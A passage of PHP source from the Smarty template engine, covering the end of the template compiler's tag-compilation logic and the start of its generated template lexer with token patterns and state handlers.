     * Get length of left delimiter
     *
     * @return int
     */
    public function getLdelLength()
    {
        return $this->ldelLength;
    }

    /**
     * Get length of right delimiter
     *
     * @return int
     */
    public function getRdelLength()
    {
        return $this->rdelLength;
    }

    /**
     * Get name of current open block tag
     *
     * @return string|boolean
     */
    public function getOpenBlockTag()
    {
        $tagCount = $this->getTagStackCount();
        if ($tagCount) {
            return $this->_tag_stack[ $tagCount - 1 ][ 0 ];
        } else {
            return false;
        }
    }

    /**
     * Check if $value contains variable elements
     *
     * @param mixed $value
     *
     * @return bool|int
     */
    public function isVariable($value)
    {
        if (is_string($value)) {
            return preg_match('/[$(]/', $value);
        }
        if (is_bool($value) || is_numeric($value)) {
            return false;
        }
        if (is_array($value)) {
            foreach ($value as $k => $v) {
                if ($this->isVariable($k) || $this->isVariable($v)) {
                    return true;
                }
            }
            return false;
        }
        return false;
    }

    /**
     * Get new prefix variable name
     *
     * @return string
     */
    public function getNewPrefixVariable()
    {
        ++self::$prefixVariableNumber;
        return $this->getPrefixVariable();
    }

    /**
     * Get current prefix variable name
     *
     * @return string
     */
    public function getPrefixVariable()
    {
        return '$_prefixVariable' . self::$prefixVariableNumber;
    }

    /**
     * append  code to prefix buffer
     *
     * @param string $code
     */
    public function appendPrefixCode($code)
    {
        $this->prefix_code[] = $code;
    }

    /**
     * get prefix code string
     *
     * @return string
     */
    public function getPrefixCode()
    {
        $code = '';
        $prefixArray = array_merge($this->prefix_code, array_pop($this->prefixCodeStack));
        $this->prefixCodeStack[] = array();
        foreach ($prefixArray as $c) {
            $code = $this->appendCode($code, $c);
        }
        $this->prefix_code = array();
        return $code;
    }

    /**
     * Save current required plugins
     *
     * @param bool $init if true init required plugins
     */
    public function saveRequiredPlugins($init = false)
    {
        $this->required_plugins_stack[] = $this->required_plugins;
        if ($init) {
            $this->required_plugins = array('compiled' => array(), 'nocache' => array());
        }
    }

    /**
     * Restore required plugins
     */
    public function restoreRequiredPlugins()
    {
        $this->required_plugins = array_pop($this->required_plugins_stack);
    }

    /**
     * Compile code to call Smarty_Internal_Template::_checkPlugins()
     * for required plugins
     *
     * @return string
     */
    public function compileRequiredPlugins()
    {
        $code = $this->compileCheckPlugins($this->required_plugins[ 'compiled' ]);
        if ($this->caching && !empty($this->required_plugins[ 'nocache' ])) {
            $code .= $this->makeNocacheCode($this->compileCheckPlugins($this->required_plugins[ 'nocache' ]));
        }
        return $code;
    }

    /**
     * Compile code to call Smarty_Internal_Template::_checkPlugins
     *   - checks if plugin is callable require otherwise
     *
     * @param $requiredPlugins
     *
     * @return string
     */
    public function compileCheckPlugins($requiredPlugins)
    {
        if (!empty($requiredPlugins)) {
            $plugins = array();
            foreach ($requiredPlugins as $plugin) {
                foreach ($plugin as $data) {
                    $plugins[] = $data;
                }
            }
            return '$_smarty_tpl->_checkPlugins(' . $this->getVarExport($plugins) . ');' . "\n";
        } else {
            return '';
        }
    }

    /**
     * method to compile a Smarty template
     *
     * @param mixed $_content template source
     * @param bool  $isTemplateSource
     *
     * @return bool true if compiling succeeded, false if it failed
     */
    abstract protected function doCompile($_content, $isTemplateSource = false);

    public function cStyleComment($string) {
        return '/*' . str_replace('*/', '* /' , $string) . '*/';
    }

    /**
     * Compile Tag
     *
     * @param string $tag       tag name
     * @param array  $args      array with tag attributes
     * @param array  $parameter array with compilation parameter
     *
     * @throws SmartyCompilerException
     * @throws SmartyException
     * @return string compiled code
     */
    private function compileTag2($tag, $args, $parameter)
    {
        $plugin_type = '';
        // $args contains the attributes parsed and compiled by the lexer/parser
        // assume that tag does compile into code, but creates no HTML output
        $this->has_code = true;
        // log tag/attributes
        if (isset($this->smarty->_cache[ 'get_used_tags' ])) {
            $this->template->_cache[ 'used_tags' ][] = array(
                $tag,
                $args
            );
        }
        // check nocache option flag
        foreach ($args as $arg) {
            if (!is_array($arg)) {
                if ($arg === "'nocache'" || $arg === 'nocache') {
                    $this->tag_nocache = true;
                }
            } else {
                foreach ($arg as $k => $v) {
                    if (($k === "'nocache'" || $k === 'nocache') && (trim($v, "'\" ") === 'true')) {
                        $this->tag_nocache = true;
                    }
                }
            }
        }
        // compile the smarty tag (required compile classes to compile the tag are auto loaded)
        if (($_output = $this->callTagCompiler($tag, $args, $parameter)) === false) {
            if (isset($this->parent_compiler->tpl_function[ $tag ])
                || (isset($this->template->smarty->ext->_tplFunction)
                    && $this->template->smarty->ext->_tplFunction->getTplFunction($this->template, $tag) !== false)
            ) {
                // template defined by {template} tag
                $args[ '_attr' ][ 'name' ] = "'{$tag}'";
                $_output = $this->callTagCompiler('call', $args, $parameter);
            }
        }
        if ($_output !== false) {
            if ($_output !== true) {
                // did we get compiled code
                if ($this->has_code) {
                    // return compiled code
                    return $_output;
                }
            }
            // tag did not produce compiled code
            return null;
        } else {
            // map_named attributes
            if (isset($args[ '_attr' ])) {
                foreach ($args[ '_attr' ] as $key => $attribute) {
                    if (is_array($attribute)) {
                        $args = array_merge($args, $attribute);
                    }
                }
            }
            // not an internal compiler tag
            if (strlen($tag) < 6 || substr($tag, -5) !== 'close') {
                // check if tag is a registered object
                if (isset($this->smarty->registered_objects[ $tag ]) && isset($parameter[ 'object_method' ])) {
                    $method = $parameter[ 'object_method' ];
                    if (!in_array($method, $this->smarty->registered_objects[ $tag ][ 3 ])
                        && (empty($this->smarty->registered_objects[ $tag ][ 1 ])
                            || in_array($method, $this->smarty->registered_objects[ $tag ][ 1 ]))
                    ) {
                        return $this->callTagCompiler('private_object_function', $args, $parameter, $tag, $method);
                    } elseif (in_array($method, $this->smarty->registered_objects[ $tag ][ 3 ])) {
                        return $this->callTagCompiler(
                            'private_object_block_function',
                            $args,
                            $parameter,
                            $tag,
                            $method
                        );
                    } else {
                        // throw exception
                        $this->trigger_template_error(
                            'not allowed method "' . $method . '" in registered object "' .
                            $tag . '"',
                            null,
                            true
                        );
                    }
                }
                // check if tag is registered
                foreach (array(
                    Smarty::PLUGIN_COMPILER,
                    Smarty::PLUGIN_FUNCTION,
                    Smarty::PLUGIN_BLOCK,
                ) as $plugin_type) {
                    if (isset($this->smarty->registered_plugins[ $plugin_type ][ $tag ])) {
                        // if compiler function plugin call it now
                        if ($plugin_type === Smarty::PLUGIN_COMPILER) {
                            $new_args = array();
                            foreach ($args as $key => $mixed) {
                                if (is_array($mixed)) {
                                    $new_args = array_merge($new_args, $mixed);
                                } else {
                                    $new_args[ $key ] = $mixed;
                                }
                            }
                            if (!$this->smarty->registered_plugins[ $plugin_type ][ $tag ][ 1 ]) {
                                $this->tag_nocache = true;
                            }
                            return call_user_func_array(
                                $this->smarty->registered_plugins[ $plugin_type ][ $tag ][ 0 ],
                                array(
                                    $new_args,
                                    $this
                                )
                            );
                        }
                        // compile registered function or block function
                        if ($plugin_type === Smarty::PLUGIN_FUNCTION || $plugin_type === Smarty::PLUGIN_BLOCK) {
                            return $this->callTagCompiler(
                                'private_registered_' . $plugin_type,
                                $args,
                                $parameter,
                                $tag
                            );
                        }
                    }
                }
                // check plugins from plugins folder
                foreach ($this->plugin_search_order as $plugin_type) {
                    if ($plugin_type === Smarty::PLUGIN_COMPILER
                        && $this->smarty->loadPlugin('smarty_compiler_' . $tag)
                        && (!isset($this->smarty->security_policy)
                            || $this->smarty->security_policy->isTrustedTag($tag, $this))
                    ) {
                        $plugin = 'smarty_compiler_' . $tag;
                        if (is_callable($plugin)) {
                            // convert arguments format for old compiler plugins
                            $new_args = array();
                            foreach ($args as $key => $mixed) {
                                if (is_array($mixed)) {
                                    $new_args = array_merge($new_args, $mixed);
                                } else {
                                    $new_args[ $key ] = $mixed;
                                }
                            }
                            return $plugin($new_args, $this->smarty);
                        }
                        if (class_exists($plugin, false)) {
                            $plugin_object = new $plugin;
                            if (method_exists($plugin_object, 'compile')) {
                                return $plugin_object->compile($args, $this);
                            }
                        }
                        throw new SmartyException("Plugin '{$tag}' not callable");
                    } else {
                        if ($function = $this->getPlugin($tag, $plugin_type)) {
                            if (!isset($this->smarty->security_policy)
                                || $this->smarty->security_policy->isTrustedTag($tag, $this)
                            ) {
                                return $this->callTagCompiler(
                                    'private_' . $plugin_type . '_plugin',
                                    $args,
                                    $parameter,
                                    $tag,
                                    $function
                                );
                            }
                        }
                    }
                }
                if (is_callable($this->smarty->default_plugin_handler_func)) {
                    $found = false;
                    // look for already resolved tags
                    foreach ($this->plugin_search_order as $plugin_type) {
                        if (isset($this->default_handler_plugins[ $plugin_type ][ $tag ])) {
                            $found = true;
                            break;
                        }
                    }
                    if (!$found) {
                        // call default handler
                        foreach ($this->plugin_search_order as $plugin_type) {
                            if ($this->getPluginFromDefaultHandler($tag, $plugin_type)) {
                                $found = true;
                                break;
                            }
                        }
                    }
                    if ($found) {
                        // if compiler function plugin call it now
                        if ($plugin_type === Smarty::PLUGIN_COMPILER) {
                            $new_args = array();
                            foreach ($args as $key => $mixed) {
                                if (is_array($mixed)) {
                                    $new_args = array_merge($new_args, $mixed);
                                } else {
                                    $new_args[ $key ] = $mixed;
                                }
                            }
                            return call_user_func_array(
                                $this->default_handler_plugins[ $plugin_type ][ $tag ][ 0 ],
                                array(
                                    $new_args,
                                    $this
                                )
                            );
                        } else {
                            return $this->callTagCompiler(
                                'private_registered_' . $plugin_type,
                                $args,
                                $parameter,
                                $tag
                            );
                        }
                    }
                }
            } else {
                // compile closing tag of block function
                $base_tag = substr($tag, 0, -5);
                // check if closing tag is a registered object
                if (isset($this->smarty->registered_objects[ $base_tag ]) && isset($parameter[ 'object_method' ])) {
                    $method = $parameter[ 'object_method' ];
                    if (in_array($method, $this->smarty->registered_objects[ $base_tag ][ 3 ])) {
                        return $this->callTagCompiler(
                            'private_object_block_function',
                            $args,
                            $parameter,
                            $tag,
                            $method
                        );
                    } else {
                        // throw exception
                        $this->trigger_template_error(
                            'not allowed closing tag method "' . $method .
                            '" in registered object "' . $base_tag . '"',
                            null,
                            true
                        );
                    }
                }
                // registered block tag ?
                if (isset($this->smarty->registered_plugins[ Smarty::PLUGIN_BLOCK ][ $base_tag ])
                    || isset($this->default_handler_plugins[ Smarty::PLUGIN_BLOCK ][ $base_tag ])
                ) {
                    return $this->callTagCompiler('private_registered_block', $args, $parameter, $tag);
                }
                // registered function tag ?
                if (isset($this->smarty->registered_plugins[ Smarty::PLUGIN_FUNCTION ][ $tag ])) {
                    return $this->callTagCompiler('private_registered_function', $args, $parameter, $tag);
                }
                // block plugin?
                if ($function = $this->getPlugin($base_tag, Smarty::PLUGIN_BLOCK)) {
                    return $this->callTagCompiler('private_block_plugin', $args, $parameter, $tag, $function);
                }
                // function plugin?
                if ($function = $this->getPlugin($tag, Smarty::PLUGIN_FUNCTION)) {
                    if (!isset($this->smarty->security_policy)
                        || $this->smarty->security_policy->isTrustedTag($tag, $this)
                    ) {
                        return $this->callTagCompiler('private_function_plugin', $args, $parameter, $tag, $function);
                    }
                }
                // registered compiler plugin ?
                if (isset($this->smarty->registered_plugins[ Smarty::PLUGIN_COMPILER ][ $tag ])) {
                    // if compiler function plugin call it now
                    $args = array();
                    if (!$this->smarty->registered_plugins[ Smarty::PLUGIN_COMPILER ][ $tag ][ 1 ]) {
                        $this->tag_nocache = true;
                    }
                    return call_user_func_array(
                        $this->smarty->registered_plugins[ Smarty::PLUGIN_COMPILER ][ $tag ][ 0 ],
                        array(
                            $args,
                            $this
                        )
                    );
                }
                if ($this->smarty->loadPlugin('smarty_compiler_' . $tag)) {
                    $plugin = 'smarty_compiler_' . $tag;
                    if (is_callable($plugin)) {
                        return $plugin($args, $this->smarty);
                    }
                    if (class_exists($plugin, false)) {
                        $plugin_object = new $plugin;
                        if (method_exists($plugin_object, 'compile')) {
                            return $plugin_object->compile($args, $this);
                        }
                    }
                    throw new SmartyException("Plugin '{$tag}' not callable");
                }
            }
            $this->trigger_template_error("unknown tag '{$tag}'", null, true);
        }
    }
}
<?php
/*
 * This file is part of Smarty.
 *
 * (c) 2015 Uwe Tews
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Smarty_Internal_Templatelexer
 * This is the template file lexer.
 * It is generated from the smarty_internal_templatelexer.plex file
 *
 *
 * @author Uwe Tews <uwe.tews@googlemail.com>
 */
class Smarty_Internal_Templatelexer
{
    /**
     * Source
     *
     * @var string
     */
    public $data;

    /**
     * Source length
     *
     * @var int
     */
    public $dataLength = null;

    /**
     * byte counter
     *
     * @var int
     */
    public $counter;

    /**
     * token number
     *
     * @var int
     */
    public $token;

    /**
     * token value
     *
     * @var string
     */
    public $value;

    /**
     * current line
     *
     * @var int
     */
    public $line;

    /**
     * tag start line
     *
     * @var
     */
    public $taglineno;

    /**
     * php code type
     *
     * @var string
     */
    public $phpType = '';

   /**
     * state number
     *
     * @var int
     */
    public $state = 1;

    /**
     * Smarty object
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * compiler object
     *
     * @var Smarty_Internal_TemplateCompilerBase
     */
    public $compiler = null;

    /**
     * trace file
     *
     * @var resource
     */
    public $yyTraceFILE;

    /**
     * trace prompt
     *
     * @var string
     */
    public $yyTracePrompt;

    /**
     * XML flag true while processing xml
     *
     * @var bool
     */
    public $is_xml = false;

    /**
     * state names
     *
     * @var array
     */
    public $state_name = array(1 => 'TEXT', 2 => 'TAG', 3 => 'TAGBODY', 4 => 'LITERAL', 5 => 'DOUBLEQUOTEDSTRING',);

    /**
     * token names
     *
     * @var array
     */
    public $smarty_token_names = array(        // Text for parser error messages
                                               'NOT'         => '(!,not)',
                                               'OPENP'       => '(',
                                               'CLOSEP'      => ')',
                                               'OPENB'       => '[',
                                               'CLOSEB'      => ']',
                                               'PTR'         => '->',
                                               'APTR'        => '=>',
                                               'EQUAL'       => '=',
                                               'NUMBER'      => 'number',
                                               'UNIMATH'     => '+" , "-',
                                               'MATH'        => '*" , "/" , "%',
                                               'INCDEC'      => '++" , "--',
                                               'SPACE'       => ' ',
                                               'DOLLAR'      => '$',
                                               'SEMICOLON'   => ';',
                                               'COLON'       => ':',
                                               'DOUBLECOLON' => '::',
                                               'AT'          => '@',
                                               'HATCH'       => '#',
                                               'QUOTE'       => '"',
                                               'BACKTICK'    => '`',
                                               'VERT'        => '"|" modifier',
                                               'DOT'         => '.',
                                               'COMMA'       => '","',
                                               'QMARK'       => '"?"',
                                               'ID'          => 'id, name',
                                               'TEXT'        => 'text',
                                               'LDELSLASH'   => '{/..} closing tag',
                                               'LDEL'        => '{...} Smarty tag',
                                               'COMMENT'     => 'comment',
                                               'AS'          => 'as',
                                               'TO'          => 'to',
                                               'PHP'         => '"<?php", "<%", "{php}" tag',
                                               'LOGOP'       => '"<", "==" ... logical operator',
                                               'TLOGOP'      => '"lt", "eq" ... logical operator; "is div by" ... if condition',
                                               'SCOND'       => '"is even" ... if condition',
    );

    /**
     * literal tag nesting level
     *
     * @var int
     */
    private $literal_cnt = 0;

    /**
     * preg token pattern for state TEXT
     *
     * @var string
     */
    private $yy_global_pattern1 = null;

    /**
     * preg token pattern for state TAG
     *
     * @var string
     */
    private $yy_global_pattern2 = null;

    /**
     * preg token pattern for state TAGBODY
     *
     * @var string
     */
    private $yy_global_pattern3 = null;

    /**
     * preg token pattern for state LITERAL
     *
     * @var string
     */
    private $yy_global_pattern4 = null;

    /**
     * preg token pattern for state DOUBLEQUOTEDSTRING
     *
     * @var null
     */
    private $yy_global_pattern5 = null;

    /**
     * preg token pattern for text
     *
     * @var null
     */
    private $yy_global_text = null;

    /**
     * preg token pattern for literal
     *
     * @var null
     */
    private $yy_global_literal = null;

    /**
     * constructor
     *
     * @param   string                             $source template source
     * @param Smarty_Internal_TemplateCompilerBase $compiler
     */
    public function __construct($source, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $this->data = $source;
        $this->dataLength = strlen($this->data);
        $this->counter = 0;
        if (preg_match('/^\xEF\xBB\xBF/i', $this->data, $match)) {
            $this->counter += strlen($match[0]);
        }
        $this->line = 1;
        $this->smarty = $compiler->template->smarty;
        $this->compiler = $compiler;
        $this->compiler->initDelimiterPreg();
        $this->smarty_token_names['LDEL'] = $this->smarty->getLeftDelimiter();
        $this->smarty_token_names['RDEL'] = $this->smarty->getRightDelimiter();
    }

    /**
     * open lexer/parser trace file
     *
     */
    public function PrintTrace()
    {
        $this->yyTraceFILE = fopen('php://output', 'w');
        $this->yyTracePrompt = '<br>';
    }

   /**
     * replace placeholders with runtime preg  code
     *
     * @param string $preg
     *
     * @return string
     */
   public function replace($preg)
   {
        return $this->compiler->replaceDelimiter($preg);
   }

    /**
     * check if current value is an autoliteral left delimiter
     *
     * @return bool
     */
    public function isAutoLiteral()
    {
        return $this->smarty->getAutoLiteral() && isset($this->value[ $this->compiler->getLdelLength() ]) ?
            strpos(" \n\t\r", $this->value[ $this->compiler->getLdelLength() ]) !== false : false;
    }

     
    private $_yy_state = 1;
    private $_yy_stack = array();

    public function yylex()
    {
        return $this->{'yylex' . $this->_yy_state}();
    }

    public function yypushstate($state)
    {
        if ($this->yyTraceFILE) {
             fprintf($this->yyTraceFILE, "%sState push %s\n", $this->yyTracePrompt, isset($this->state_name[$this->_yy_state]) ? $this->state_name[$this->_yy_state] : $this->_yy_state);
        }
        array_push($this->_yy_stack, $this->_yy_state);
        $this->_yy_state = $state;
        if ($this->yyTraceFILE) {
             fprintf($this->yyTraceFILE, "%snew State %s\n", $this->yyTracePrompt, isset($this->state_name[$this->_yy_state]) ? $this->state_name[$this->_yy_state] : $this->_yy_state);
        }
    }

    public function yypopstate()
    {
       if ($this->yyTraceFILE) {
             fprintf($this->yyTraceFILE, "%sState pop %s\n", $this->yyTracePrompt,  isset($this->state_name[$this->_yy_state]) ? $this->state_name[$this->_yy_state] : $this->_yy_state);
        }
       $this->_yy_state = array_pop($this->_yy_stack);
        if ($this->yyTraceFILE) {
             fprintf($this->yyTraceFILE, "%snew State %s\n", $this->yyTracePrompt, isset($this->state_name[$this->_yy_state]) ? $this->state_name[$this->_yy_state] : $this->_yy_state);
        }

    }

    public function yybegin($state)
    {
       $this->_yy_state = $state;
        if ($this->yyTraceFILE) {
             fprintf($this->yyTraceFILE, "%sState set %s\n", $this->yyTracePrompt, isset($this->state_name[$this->_yy_state]) ? $this->state_name[$this->_yy_state] : $this->_yy_state);
        }
    }


     
    public function yylex1()
    {
        if (!isset($this->yy_global_pattern1)) {
            $this->yy_global_pattern1 = $this->replace("/\G([{][}])|\G((SMARTYldel)SMARTYal[*])|\G((SMARTYldel)SMARTYautoliteral\\s+SMARTYliteral)|\G((SMARTYldel)SMARTYalliteral\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[\/]literal\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal)|\G([\S\s])/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >=  $this->dataLength) {
            return false; // end of input
        }
        
        do {
            if (preg_match($this->yy_global_pattern1,$this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][1])) {
                   $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                        ' an empty string.  Input "' . substr($this->data,
                        $this->counter, 5) . '... state TEXT');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r1_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >=  $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                    ': ' . $this->data[$this->counter]);
            }
            break;
        } while (true);

    } // end function


    const TEXT = 1;
    public function yy_r1_1()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r1_2()
    {

       $to = $this->dataLength;
       preg_match("/[*]{$this->compiler->getRdelPreg()}[\n]?/",$this->data,$match,PREG_OFFSET_CAPTURE,$this->counter);
        if (isset($match[0][1])) {
            $to = $match[0][1] + strlen($match[0][0]);
        } else {
            $this->compiler->trigger_template_error ("missing or misspelled comment closing tag '{$this->smarty->getRightDelimiter()}'");
        }
        $this->value = substr($this->data,$this->counter,$to-$this->counter);
        return false;
         }
    public function yy_r1_4()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r1_6()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LITERALSTART;
        $this->yypushstate(self::LITERAL);
         }
    public function yy_r1_8()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LITERALEND;
        $this->yypushstate(self::LITERAL);
         }
    public function yy_r1_10()
    {

        $this->yypushstate(self::TAG);
        return true;
         }
    public function yy_r1_12()
    {

       if (!isset($this->yy_global_text)) {
           $this->yy_global_text = $this->replace('/(SMARTYldel)SMARTYal/isS');
       }
       $to = $this->dataLength;
       preg_match($this->yy_global_text, $this->data,$match,PREG_OFFSET_CAPTURE,$this->counter);
       if (isset($match[0][1])) {
         $to = $match[0][1];
       }
       $this->value = substr($this->data,$this->counter,$to-$this->counter);
       $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }

     
    public function yylex2()
    {
        if (!isset($this->yy_global_pattern2)) {
            $this->yy_global_pattern2 = $this->replace("/\G((SMARTYldel)SMARTYal(if|elseif|else if|while)\\s+)|\G((SMARTYldel)SMARTYalfor\\s+)|\G((SMARTYldel)SMARTYalforeach(?![^\s]))|\G((SMARTYldel)SMARTYalsetfilter\\s+)|\G((SMARTYldel)SMARTYalmake_nocache\\s+)|\G((SMARTYldel)SMARTYal[0-9]*[a-zA-Z_]\\w*(\\s+nocache)?\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[$]smarty\\.block\\.(child|parent)\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[\/][0-9]*[a-zA-Z_]\\w*\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[$][0-9]*[a-zA-Z_]\\w*(\\s+nocache)?\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[\/])|\G((SMARTYldel)SMARTYal)/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >=  $this->dataLength) {
            return false; // end of input
        }
        
        do {
            if (preg_match($this->yy_global_pattern2,$this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][1])) {
                   $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                        ' an empty string.  Input "' . substr($this->data,
                        $this->counter, 5) . '... state TAG');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r2_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >=  $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                    ': ' . $this->data[$this->counter]);
            }
            break;
        } while (true);

    } // end function


    const TAG = 2;
    public function yy_r2_1()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDELIF;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r2_4()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDELFOR;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r2_6()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDELFOREACH;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r2_8()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDELSETFILTER;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r2_10()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDELMAKENOCACHE;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r2_12()
    {

        $this->yypopstate();
        $this->token = Smarty_Internal_Templateparser::TP_SIMPLETAG;
        $this->taglineno = $this->line;
         }
    public function yy_r2_15()
    {

         $this->yypopstate();
         $this->token = Smarty_Internal_Templateparser::TP_SMARTYBLOCKCHILDPARENT;
         $this->taglineno = $this->line;
         }
    public function yy_r2_18()
    {

        $this->yypopstate();
        $this->token = Smarty_Internal_Templateparser::TP_CLOSETAG;
        $this->taglineno = $this->line;
         }
    public function yy_r2_20()
    {

        if ($this->_yy_stack[count($this->_yy_stack)-1] === self::TEXT) {
            $this->yypopstate();
            $this->token = Smarty_Internal_Templateparser::TP_SIMPELOUTPUT;
            $this->taglineno = $this->line;
        } else {
            $this->value = $this->smarty->getLeftDelimiter();
            $this->token = Smarty_Internal_Templateparser::TP_LDEL;
            $this->yybegin(self::TAGBODY);
            $this->taglineno = $this->line;
        }
         }
    public function yy_r2_23()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r2_25()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDEL;
        $this->yybegin(self::TAGBODY);
        $this->taglineno = $this->line;
         }

     
    public function yylex3()
    {
        if (!isset($this->yy_global_pattern3)) {
            $this->yy_global_pattern3 = $this->replace("/\G(\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal)|\G([\"])|\G('[^'\\\\]*(?:\\\\.[^'\\\\]*)*')|\G([$][0-9]*[a-zA-Z_]\\w*)|\G([$])|\G(\\s+is\\s+in\\s+)|\G(\\s+as\\s+)|\G(\\s+to\\s+)|\G(\\s+step\\s+)|\G(\\s+instanceof\\s+)|\G(\\s*([!=][=]{1,2}|[<][=>]?|[>][=]?|[&|]{2})\\s*)|\G(\\s+(eq|ne|neq|gt|ge|gte|lt|le|lte|mod|and|or|xor)\\s+)|\G(\\s+is\\s+(not\\s+)?(odd|even|div)\\s+by\\s+)|\G(\\s+is\\s+(not\\s+)?(odd|even))|\G([!]\\s*|not\\s+)|\G([(](int(eger)?|bool(ean)?|float|double|real|string|binary|array|object)[)]\\s*)|\G(\\s*[(]\\s*)|\G(\\s*[)])|\G(\\[\\s*)|\G(\\s*\\])|\G(\\s*[-][>]\\s*)|\G(\\s*[=][>]\\s*)|\G(\\s*[=]\\s*)|\G(([+]|[-]){2})|\G(\\s*([+]|[-])\\s*)|\G(\\s*([*]{1,2}|[%\/^&]|[<>]{2})\\s*)|\G([@])|\G(array\\s*[(]\\s*)|\G([#])|\G(\\s+[0-9]*[a-zA-Z_][a-zA-Z0-9_\-:]*\\s*[=]\\s*)|\G(([0-9]*[a-zA-Z_]\\w*)?(\\\\[0-9]*[a-zA-Z_]\\w*)+)|\G([0-9]*[a-zA-Z_]\\w*)|\G(\\d+)|\G([`])|\G([|][@]?)|\G([.])|\G(\\s*[,]\\s*)|\G(\\s*[;]\\s*)|\G([:]{2})|\G(\\s*[:]\\s*)|\G(\\s*[?]\\s*)|\G(0[xX][0-9a-fA-F]+)|\G(\\s+)|\G([\S\s])/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >=  $this->dataLength) {
            return false; // end of input
        }
        
        do {
            if (preg_match($this->yy_global_pattern3,$this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][1])) {
                   $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                        ' an empty string.  Input "' . substr($this->data,
                        $this->counter, 5) . '... state TAGBODY');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r3_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >=  $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                    ': ' . $this->data[$this->counter]);
            }
            break;
        } while (true);

    } // end function


    const TAGBODY = 3;
    public function yy_r3_1()
    {

        $this->token = Smarty_Internal_Templateparser::TP_RDEL;
        $this->yypopstate();
         }
    public function yy_r3_2()
    {

        $this->yypushstate(self::TAG);
        return true;
         }
    public function yy_r3_4()
    {

        $this->token = Smarty_Internal_Templateparser::TP_QUOTE;
        $this->yypushstate(self::DOUBLEQUOTEDSTRING);
        $this->compiler->enterDoubleQuote();
         }
    public function yy_r3_5()
    {

        $this->token = Smarty_Internal_Templateparser::TP_SINGLEQUOTESTRING;
         }
    public function yy_r3_6()
    {

        $this->token = Smarty_Internal_Templateparser::TP_DOLLARID;
         }
    public function yy_r3_7()
    {

        $this->token = Smarty_Internal_Templateparser::TP_DOLLAR;
         }
    public function yy_r3_8()
    {

        $this->token = Smarty_Internal_Templateparser::TP_ISIN;
         }
    public function yy_r3_9()
    {

